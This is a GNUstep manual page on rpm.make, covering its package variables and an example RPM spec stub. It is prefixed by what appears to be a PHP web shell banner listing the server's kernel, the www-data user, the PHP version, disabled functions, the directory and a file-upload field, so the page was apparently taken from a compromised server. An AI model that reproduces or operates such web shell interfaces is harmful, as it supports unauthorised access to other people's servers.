![]() System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /usr/share/GNUstep/Documentation/Developer/Make/Manual/gnustep-make/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <!-- Created by GNU Texinfo 6.5, http://www.gnu.org/software/texinfo/ --> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>rpm.make (GNUstep Makefile Package)</title> <meta name="description" content="rpm.make (GNUstep Makefile Package)"> <meta name="keywords" content="rpm.make (GNUstep Makefile Package)"> <meta name="resource-type" content="document"> <meta name="distribution" content="global"> <meta name="Generator" content="makeinfo"> <link href="index.html#Top" rel="start" title="Top"> <link href="index.html#SEC_Contents" rel="contents" title="Table of Contents"> <link href="Project-Types.html#Project-Types" rel="up" title="Project Types"> <link href="service_002emake.html#service_002emake" rel="next" title="service.make"> <link href="palette_002emake.html#palette_002emake" rel="prev" title="palette.make"> <style type="text/css"> <!-- a.summary-letter {text-decoration: none} blockquote.indentedblock {margin-right: 0em} blockquote.smallindentedblock {margin-right: 0em; font-size: smaller} blockquote.smallquotation {font-size: smaller} div.display {margin-left: 3.2em} div.example {margin-left: 3.2em} div.lisp {margin-left: 3.2em} div.smalldisplay {margin-left: 3.2em} div.smallexample {margin-left: 3.2em} div.smalllisp {margin-left: 3.2em} kbd {font-style: oblique} pre.display {font-family: inherit} pre.format {font-family: inherit} pre.menu-comment {font-family: serif} pre.menu-preformatted {font-family: serif} pre.smalldisplay {font-family: inherit; font-size: smaller} pre.smallexample {font-size: smaller} pre.smallformat {font-family: inherit; font-size: smaller} pre.smalllisp {font-size: smaller} span.nolinebreak {white-space: nowrap} span.roman {font-family: initial; font-weight: normal} span.sansserif {font-family: sans-serif; font-weight: normal} ul.no-bullet {list-style: none} --> </style> </head> <body lang="en"> <a name="rpm_002emake"></a> <div class="header"> <p> Next: <a href="service_002emake.html#service_002emake" accesskey="n" rel="next">service.make</a>, Previous: <a href="palette_002emake.html#palette_002emake" accesskey="p" rel="prev">palette.make</a>, Up: <a href="Project-Types.html#Project-Types" accesskey="u" rel="up">Project Types</a> [<a href="index.html#SEC_Contents" title="Table of contents" rel="contents">Contents</a>]</p> </div> <hr> <a name="RPMs-_0028rpm_002emake_0029"></a> <h4 class="subsection">1.4.13 RPMs (<samp>rpm.make</samp>)</h4> <p>The RPM project provides rules for automatically generating RPM spec files in order to make RPM distributions. Note that this project makefile is included automatically when you include any other project type in your GNUmakefile. It is non necessary to include <samp>rpm.make</samp>. </p> <p>Except for <code>PACKAGE_NAME</code>, which is required, all the following variables are optional. It is recommended that you set them anyway in order to provide the standard information that is present in most RPM distributions. </p> <dl> <dt><a name="index-PACKAGE_005fNAME-1"></a>RPM: <strong>PACKAGE_NAME</strong></dt> <dd><p><code>PACKAGE_NAME</code> defines the name of the RPM distribution. In most cases this will be the same as the name of your project type. For instance, if you are creating a application, and have set <code>APP_NAME</code> to ‘<samp>MyApplication</samp>’, Then set <code>PACKAGE_NAME</code> to the same thing, or just use <code>PACKAGE_NAME=$(APP_NAME)</code>. if <code>PACKAGE_NAME</code> is not set, it defaults to <code>unnamed-package</code> </p></dd></dl> <dl> <dt><a name="index-PACKAGE_005fVERSION-1"></a>RPM: <strong>PACKAGE_VERSION</strong></dt> <dd><p>Set <code>PACKAGE_VERSION</code> to the release version number of your package. If not set, it defaults to 0.0.1 </p></dd></dl> <dl> <dt><a name="index-GNUSTEP_005fINSTALLATION_005fDOMAIN-1"></a>RPM: <strong>GNUSTEP_INSTALLATION_DOMAIN</strong></dt> <dd><p>Set <code>GNUSTEP_INSTALLATION_DOMAIN</code> to the domain where you want to install the software. This should be either <code>SYSTEM</code>), <code>LOCAL</code>, or <code>USER</code>. If not set it defaults to <code>LOCAL</code>. </p></dd></dl> <dl> <dt><a name="index-PACKAGE_005fNEEDS_005fCONFIGURE"></a>RPM: <strong>PACKAGE_NEEDS_CONFIGURE</strong></dt> <dd><p>Set this to <code>YES</code> if a configure script needs to be run before compilation </p></dd></dl> <p>In addition you need to provide a stub spec file named for the package name, such as this example <samp>libobjc.spec.in</samp> file: </p> <div class="example"> <pre class="example">Release: 1 Source: ftp://ftp.gnustep.org/pub/gnustep/libs/%{gs_name}-%{gs_version}. tar.gz Copyright: GPL Group: Development/Libraries Summary: Objective-C Runtime Library Packager: Adam Fedor <fedor@gnu.org> Vendor: The GNUstep Project URL: http://www.gnustep.org/ %description Library containing the Objective-C runtime. </pre></div> <hr> <div class="header"> <p> Next: <a href="service_002emake.html#service_002emake" accesskey="n" rel="next">service.make</a>, Previous: <a href="palette_002emake.html#palette_002emake" accesskey="p" rel="prev">palette.make</a>, Up: <a href="Project-Types.html#Project-Types" accesskey="u" rel="up">Project Types</a> [<a href="index.html#SEC_Contents" title="Table of contents" rel="contents">Contents</a>]</p> </div> </body> </html>